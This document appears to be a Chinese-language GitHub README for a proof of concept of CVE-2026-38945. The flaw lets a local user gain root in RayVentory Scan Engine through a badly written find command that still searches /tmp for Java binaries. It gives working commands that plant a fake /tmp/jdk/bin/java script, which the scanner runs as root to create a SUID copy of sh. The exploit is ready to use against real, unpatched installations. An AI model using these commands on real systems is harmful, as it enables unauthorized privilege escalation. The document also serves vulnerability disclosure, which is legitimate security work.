Wise-Security/CVE-2026-38945

GitHub: Wise-Security/CVE-2026-38945

CVE-2026-38945 漏洞 PoC,利用 RayVentory Scan Engine 中 find 命令路径过滤缺陷实现本地提权。

Stars: 0 | Forks: 0

# CVE-2026-38945 - **作者:** Rafael José Núñez Gulías - **公司:** Iberian Var Group - **受影响产品:** RayVentory Scan Engine 12.6 Update 8 及之前的版本 - **Raynet 公告:** [RSEC200967](https://support.raynet.de/hc/en-us/articles/46163206384788-RSEC200967-Java-Detection-Path-Traversal) Raynet 中的 `rvia` 在调用 oracle 选项时,会执行一个搜索条件未正确终止的 find 命令来定位 Java 安装路径。攻击者可以构造特定的目录结构来满足这种格式错误的搜索条件,从而导致代理在 Java 检测过程中执行恶意二进制文件。 ![stringsfindcommand.png](https://raw.githubusercontent.com/Wise-Security/CVE-2026-38945/main/img/stringsfindcommand.png) ``` /bin/sh -c "find / -not \( -path '/dev' -o -path '/etc' -o -path '/mnt' -o -path '/tmp' -o -path '/proc' \) \( -path '*/jdk/bin/java' -o -path '*/jdk/jre/bin/java' -o -path '*/jdk-*/bin/java' -o -path '*/jdk*/bin/java' -o -path '*/jdk*/jre/bin/java' \) \( -type f -o -type l \)" ``` 该命令本应忽略 `/tmp` 目录下的 **Java** 二进制文件(同样包括 `/dev`、`/etc`、`/mnt` 和 `/proc`,但我们只关注 `/tmp` 的例子,因为该目录是全局可写的)。 问题在于,该命令中用于忽略特定目录的第一部分,在这些目录的末尾缺少了字符 `*`;而 `*` 字符却被用在了其他需要搜索的目录的开头。 这使得用户可以篡改被执行的 **Java** 文件。 在此 PoC 中,我们将利用此漏洞以 root 权限复制一个 sh 文件到 `/tmp/sh`,并为其添加 SUID 标志。 ``` mkdir -p /tmp/jdk/bin echo '/usr/bin/cp /bin/sh /tmp/sh && chmod u+s /tmp/sh' > /tmp/jdk/bin/java && chmod o+rx /tmp/jdk/bin/java ``` ![executionflow.png](https://raw.githubusercontent.com/Wise-Security/CVE-2026-38945/main/img/executionflow.png) 这是因为当使用 `oracle` 选项时,“如果 Java 运行时路径未在 `/opt/rvia/rvia.cfg` 文件中配置(默认情况下不进行配置,该选项为 `javaPaths`),RayVentory Scan Engine 会在每次需要时尝试去寻找它。”并且在某个时刻,它会通过执行 `java -version` 来尝试获取已安装 Java 环境的版本。
标签:Cutter, CVE-2026-38945, Java检测, PoC, Raynet, RayVentory Scan Engine, RSEC200967, SUID提权, Web报告查看器, 协议分析, 命令注入, 提权漏洞, 暴力破解, 权限提升, 路径遍历漏洞